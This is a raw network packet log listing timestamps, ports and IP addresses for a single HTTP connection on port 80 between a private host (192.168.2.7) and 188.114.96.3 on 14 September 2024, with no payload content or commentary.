Sep 14, 2024 18:44:28.649434090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.649518967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.649549007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.675235033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675308943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675323009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675404072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675417900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675431967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675446987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675461054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675471067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.675504923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.675504923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.675512075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675528049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675543070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675565958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.675616980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675632000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675646067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675662994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.675666094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.675683975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.675936937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676057100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.676204920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676259995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676301003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676311970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.676352024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676383972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676398993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.676418066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676464081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.676470041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676502943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676536083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676564932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.676569939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676601887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676608086 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.676619053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676634073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676647902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.676661015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.676686049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678216934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678242922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678256989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678303957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678318024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678332090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678348064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678349972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678379059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678531885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678546906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678560972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678575993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678585052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678591967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678606987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678622007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678647041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678647041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678678036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678706884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678766966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678782940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678796053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678812981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678823948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678828001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678843975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.678865910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.678894043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679027081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679044008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679058075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679071903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679079056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679088116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679104090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679105043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679127932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679168940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679183960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679212093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679363966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679378986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679402113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679411888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679418087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679433107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679449081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679464102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679467916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679480076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679491043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679495096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679510117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679512024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679541111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679739952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679755926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679769993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679784060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679791927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679800034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679809093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679816008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679831982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679841995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679847002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679862022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679877043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679878950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679893017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679900885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.679908991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679924011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.679934025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680001020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680146933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680161953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680176020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680191040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680205107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680205107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680222988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680227995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680239916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680254936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680295944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680305004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680320024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680334091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680350065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680356026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680366039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680382013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680386066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680399895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680414915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680419922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680430889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680444956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680459023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680465937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680475950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680490971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680490017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680506945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680521011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680522919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680540085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680547953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680556059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680571079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.680581093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.680609941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.736104965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736129999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736155987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736171961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736186981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736203909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736218929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736234903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.736283064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.736337900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.762259007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762275934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762301922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762324095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762339115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762353897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762361050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.762370110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762391090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.762408972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.762504101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762520075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762536049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762547970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.762552023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762567997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762586117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.762619019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762633085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.762660980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.762679100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.763078928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763150930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763205051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763206959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.763243914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763279915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763297081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.763314962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763349056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763377905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.763411999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763448954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763459921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.763479948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763513088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763530016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.763547897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763581991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763596058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.763617992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763653994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.763669968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.764856100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.764893055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.764909983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.764924049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.764956951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.764976025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.764974117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.764995098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765016079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765047073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765064955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765084028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765089035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765129089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765167952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765186071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765202999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765222073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765227079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765242100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765260935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765268087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765296936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765297890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765444994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765460014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765475035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765490055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765497923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765506983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765522957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765537977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765548944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765554905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765585899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765676975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765691996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765707016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765721083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765736103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765765905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765785933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.765922070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765938044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765953064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765966892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765983105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765995979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.765995979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766012907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766024113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766028881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766045094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766057968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766072035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766072989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766089916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766104937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766108036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766120911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766136885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766174078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766318083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766333103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766347885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766361952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766376019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766386032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766398907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766431093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766446114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766460896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766474009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766475916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766493082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766493082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766510963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766525030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766537905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766541004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766555071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766561985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766587973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766786098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766801119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766815901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766830921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766844988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766861916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766868114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766884089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766896963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766911983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766918898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766927004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766938925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766943932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766957045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.766961098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766977072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.766993999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767002106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.767009020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767024994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767033100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.767060995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.767241001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767256975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767299891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.767350912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767369986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767390966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767412901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.767414093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767431021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767446041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767460108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767472029 CEST	54891	80	192.168.2.7	188.114.96.3
